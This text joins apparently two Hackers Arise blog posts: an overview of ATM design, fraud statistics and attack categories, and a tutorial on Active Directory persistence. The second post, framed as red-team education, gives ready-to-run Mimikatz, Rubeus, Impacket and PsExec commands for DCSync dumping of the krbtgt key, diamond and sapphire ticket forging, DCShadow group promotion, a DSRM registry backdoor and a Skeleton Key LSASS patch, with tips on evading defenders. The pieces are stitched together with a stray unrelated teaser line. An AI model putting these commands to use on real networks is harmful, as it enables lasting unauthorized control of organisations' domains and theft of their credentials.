Welcome back, aspiring cyberwarriors!

Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security. 

This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.

Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.

With that out of the way, let’s start with where ATMs came from.

The History of ATMs

London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card. 

Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.

Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.

Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.

What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.

Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.

Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.

Brief Attack Statistics

The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.

Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.

None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.

How an ATM Is Built

Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.

The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.

1. User Layer

From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.

Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines. 

A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center. 

Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.

2. OS Layer

That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.

Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.

Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.

The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.

Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.

3. Network Layer

Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.

Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well. 

The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.

4. Firmware Layer

Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone. 

The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware. 

Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.

ATM Attacks

With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.

Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.

Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.

System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.

Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.

Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there. 

We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.

Summary

ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.

Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.

The post Pentesting: A Look at ATM Security first appeared on Hackers Arise.

A technical walkthrough of the kerberoasting attack: the Kerberos quirk it abuses, RC4 vs AES, and how to detect and fix it in Active Directory.

Kerberoasting Attack Explained Step by Step on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.

Welcome back, aspiring hackers!

One of the biggest misconceptions beginners have about hacking is the idea that gaining access is the final objective. Imagine spending days crafting payloads, bypassing antivirus protections, evading EDR solutions, phishing credentials, and finally landing a working beacon inside a target environment. Everything works perfectly. Then the user reboots the machine and your session disappears. Maybe the IT department pushes a patch. Maybe passwords get rotated overnight. Maybe your process crashes. Just like that, your foothold is gone and all the work leading up to it disappears with it.

This is why persistence matters so much in red team work and cyber espionage. Advanced threat groups build layers of access designed to survive disruptions, investigations, credential changes, and even defensive cleanup attempts. If one persistence mechanism fails, there is another one.

Groups such as Lazarus Group, Cozy Bear, Volt Typhoon, Salt Typhoon, and Turla invest heavily in persistence techniques because maintaining access is valuable.

The defensive side of this topic is equally important. Blue teams, SOC analysts, DFIR investigators, and threat hunters need to understand persistence because these are exactly the tricks attackers use to maintain long-term access. If defenders only focus on initial compromise indicators, they may completely miss the mechanisms keeping attackers alive inside the environment. Persistence techniques are often subtle, deeply integrated into operating systems, and designed to blend into normal administrative activity.

Today we are going to explore The Art of Staying In by DbgMan.

The Art of Staying In

The Art of Staying In is one of the most comprehensive persistence guides available. The guide covers persistence across Windows, Linux, macOS, Active Directory and cloud environments. Topics range from Windows Registry persistence and Scheduled Tasks to WMI Event Subscriptions, Services, DLL Hijacking, COM Hijacking, UEFI bootkits, Azure AD abuse, AWS IAM persistence, and GCP persistence mechanisms.

The guide also maps techniques to the MITRE ATT&CK framework under TA0003 Persistence and explains how real APT groups use these techniques during operations. One of the strongest aspects of the guide is that it does not only show the offensive side. It also discusses OPSEC considerations, detection opportunities, and practical tradecraft.

We are not going to cover every persistence mechanism discussed in the guide because that would require an entire book by itself. Instead, we will focus on several particularly interesting Active Directory persistence techniques that demonstrate how modern hackers maintain access inside enterprise environments.

Active Directory Persistence

One of the most important areas of persistence today is Active Directory persistence. In enterprise environments, Active Directory becomes the nervous system of the organization. Whoever controls Active Directory often controls the entire infrastructure.

Linux persistence is also important, but we already demonstrated some of its techniques in previous articles.

There are many persistence techniques in Active Directory, and we are not going to revisit the classic Golden Ticket and Silver Ticket attacks in detail since they are already widely known. Instead, we will focus on several less commonly discussed persistence mechanisms that are relevant.

Diamond Ticket

A Diamond Ticket is an advanced Kerberos persistence technique that improves upon the traditional Golden Ticket approach.

To understand why it is stealthier, we first need to briefly understand how Kerberos works. In Active Directory, users authenticate through the Key Distribution Center, commonly called the KDC. During authentication, the KDC issues a Ticket Granting Ticket, or TGT, which later allows the user to request access to services across the domain.

A Golden Ticket is fully forged from scratch. The hacker creates an artificial TGT without ever legitimately communicating with the KDC. It’s detected because defenders can sometimes identify TGTs that were never preceded by legitimate authentication requests.

A Diamond Ticket works differently. Instead of fully forging the ticket, the hacker first obtains a legitimate TGT from the real KDC. The hacker then decrypts the ticket using the KRBTGT account hash, modifies the Privilege Attribute Certificate, commonly called the PAC, injects elevated privileges, and re-encrypts the ticket before using it. Because the ticket originates from a legitimate Kerberos flow, it blends in much more naturally with normal authentication traffic.

For this attack we will use both Mimikatz and Rubeus. Keep in mind that this attack requires Domain Admin privileges or equivalent replication rights.

The first step is obtaining the KRBTGT AES256 key. We can retrieve the hash using the DCSync attack in Mimikatz.

PS > mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt"

After scrolling through the output, you will eventually locate the aes256_hmac entry. That is the value we need.

Next we move to Rubeus.

Rubeus.exe diamond /krbkey:<KRBTGT_AES256> /user:lowpriv /password:P@ssw0rd123 /enctype:aes256 /ticketuser:Administrator /domain:domain.local /ticketuserid:500 /groups:512,519 /ldap /opsec /nowrap

# add /output:admin.kirbi if you need it

This command requests a legitimate TGT for the lowpriv user, modifies it, and injects elevated privileges associated with the Administrator account and highly privileged domain groups. You will notice two Base64 blobs displayed on the screen. The second blob is the one you need. If you prefer working directly from Windows, adding the /ptt parameter will inject the ticket directly into the current session.

If you want to use the ticket from Linux, you can decode and convert it into a Kerberos credential cache.

kali > echo "BASE64" | base64 -d > lowpriv.kirbi
kali > impacket-ticketConverter lowpriv.kirbi lowpriv.ccache
kali > export KRB5CCNAME=lowpriv.ccache
kali > nxc smb domain.local --use-kcache

Once the ccache file is loaded, tools from the Impacket or NetExec can authenticate using the injected Kerberos ticket without requiring plaintext credentials.

Sapphire Tickets

A Sapphire Ticket is considered one of the most advanced Kerberos abuse techniques currently discussed publicly. Instead of forging PAC information, the attacker extracts the legitimate PAC from a privileged user through S4U delegation functionality and embeds that authentic PAC into a modified ticket. Traditional forged tickets contain artificial PAC data created by the hacker. Sapphire Tickets instead reuse legitimate authorization data generated by the domain itself. As a result, the ticket appears far more authentic during validation checks.

Even Microsoft’s PAC hardening efforts introduced in recent years did not completely eliminate this technique because the PAC itself remains legitimate.

Here is an example using Impacket.

kali > python3 ticketer.py -request -domain domain.local -user lowpriv -password 'P@ssw0rd123' -aesKey <KRBTGT_AES256> -domain-sid S-1-5-21-XXXXXXXX -impersonate Administrator domain.local

Tickets like these are commonly valid for around ten hours by default because they inherit normal Kerberos lifetime settings. While it is technically possible to extend ticket lifetimes, doing so is usually not a good OPSEC decision. Long-lived tickets can stand out during investigations and anomaly hunting.

Detection becomes significantly harder because nearly every component of the ticket originates from real domain-generated data.

DCShadow

DCShadow is one of the Active Directory persistence techniques that abuses the very replication mechanisms Active Directory depends on internally. Normally, Domain Controllers replicate changes between each other automatically. Security monitoring solutions often trust this replication traffic because it is considered legitimate domain behavior.

The hackers temporarily registers a rogue machine as a fake Domain Controller and pushes arbitrary changes into Active Directory through replication protocols. Since the modifications appear to originate from legitimate DC replication activity, many standard logging mechanisms either miss the activity entirely or fail to generate alerts.

This attack requires Domain Admin privileges.

For the setup, we will need two separate administrative shells. One shell needs to run as NT AUTHORITY\SYSTEM because some replication operations must originate from the computer account context. The second shell will be a Domain Admin PowerShell session.

First we elevate the shell with PsExec.

PS > .\PsExec.exe \\delivery -u sekvoya.local\service_adm -p P@ssw0rd123! -s powershell

Next we run Mimikatz and modify the target account.

PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /object:CN=lowpriv,CN=Users,DC=sekvoya,DC=local /attribute:primaryGroupID /value:512" "exit"

This prepares the modification that will promote the user into Domain Admin privileges.

Then, from the second administrative window, we push the changes.

PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /push" "exit"

Once the push completes, the user becomes a member of Domain Admins through replication-based manipulation.

Defenders often focus heavily on authentication logs and endpoint alerts while overlooking replication-layer abuse. In mature environments, this technique can be difficult to investigate if replication monitoring is not configured properly.

DSRM Account Backdoor

Every Domain Controller contains a local Directory Services Restore Mode administrator account, commonly called the DSRM account.

This account acts as a break-glass recovery mechanism for restoring or repairing Active Directory services. During Domain Controller promotion, administrators set the DSRM password once and then frequently forget about it entirely. In many environments, the password remains unchanged for years. By default, the DSRM account cannot normally authenticate over the network while the domain is operating normally. However, a registry modification can change that behavior.

First, we connect to the Domain Controller and dump the local SAM database.

PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

This gives us the local Administrator hash associated with the DSRM account.

Next we enable network logon functionality for the DSRM account.

PS > reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

After modifying the registry value, the DSRM account can authenticate remotely even while Active Directory is fully operational.

Skeleton Key

Skeleton Key is another classic but still interesting persistence technique.

Instead of modifying Kerberos tickets or replication data, Skeleton Key patches LSASS memory directly on the Domain Controller. Once patched, the Domain Controller accepts a universal master password for every domain account while still continuing to accept users’ legitimate passwords normally. From the users’ perspective, nothing appears broken. Everyone continues logging in as usual. Meanwhile, the hacker gains the ability to authenticate as any user using the injected master password.

By default, the password used by Mimikatz for Skeleton Key is mimikatz.

Here is the command:

PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'

The major limitation of Skeleton Key is that it exists only in memory. Rebooting the Domain Controller removes the patch unless the hacker has another persistence mechanism ready to reapply it automatically.

Other Persistence Methods

There are many additional persistence mechanisms inside Active Directory that deserve exploration. Techniques such as AdminSDHolder abuse, DCSync persistence, SID History injection, malicious Group Policy modifications, rogue certificates, shadow credentials, and ACL backdoors all provide different ways to maintain long-term access. Some persistence mechanisms survive password changes. Others survive operating system reinstalls. Some operate at firmware or bootloader level and remain active even after defenders believe systems were fully cleaned.

Hackers don’t rely on one method. They layer persistence strategically.

OPSEC

Persistence is about maintaining access without drawing attention. Some persistence mechanisms are intentionally sacrificial. They exist to distract defenders while more stealthy footholds remain hidden deeper in the environment. Others function as emergency backup access in case primary infrastructure fails.

Good hackers also think carefully about timing, ticket lifetimes, authentication frequency, endpoint visibility, and how blue teams actually investigate incidents. A persistence mechanism that technically works but constantly generates suspicious logs is often more dangerous to the hacker than useful.

APT Case Studies

The guide includes multiple APT case studies that demonstrate how real threat actors maintain persistence during long-term operations. Studying persistence from both offensive and defensive viewpoints helps build a much deeper understanding of how enterprise compromises actually unfold over time.

Summary

Persistence is one of the defining characteristics of advanced offensive operations. Initial compromise may get attackers into an environment, but persistence is what allows them to remain there long enough to achieve strategic objectives.

Modern persistence techniques have evolved far beyond simple startup folder payloads and registry run keys. Today’s hackers manipulate Kerberos internals, abuse Active Directory replication, patch authentication processes in memory, hijack recovery accounts and leverage legitimate administrative functionality to blend into enterprise traffic.

If you like what we’re doing here, check out our Cyberwarrior Path training. It’s a comprehensive three-year program. We dive deep into the technology, how it works, and how to break it. There are many courses available in this training program. Complete the program, and you’ll graduate as a certified Cyberwarrior.

The post Advanced Persistence: A Complete Guide on Persistence first appeared on Hackers Arise.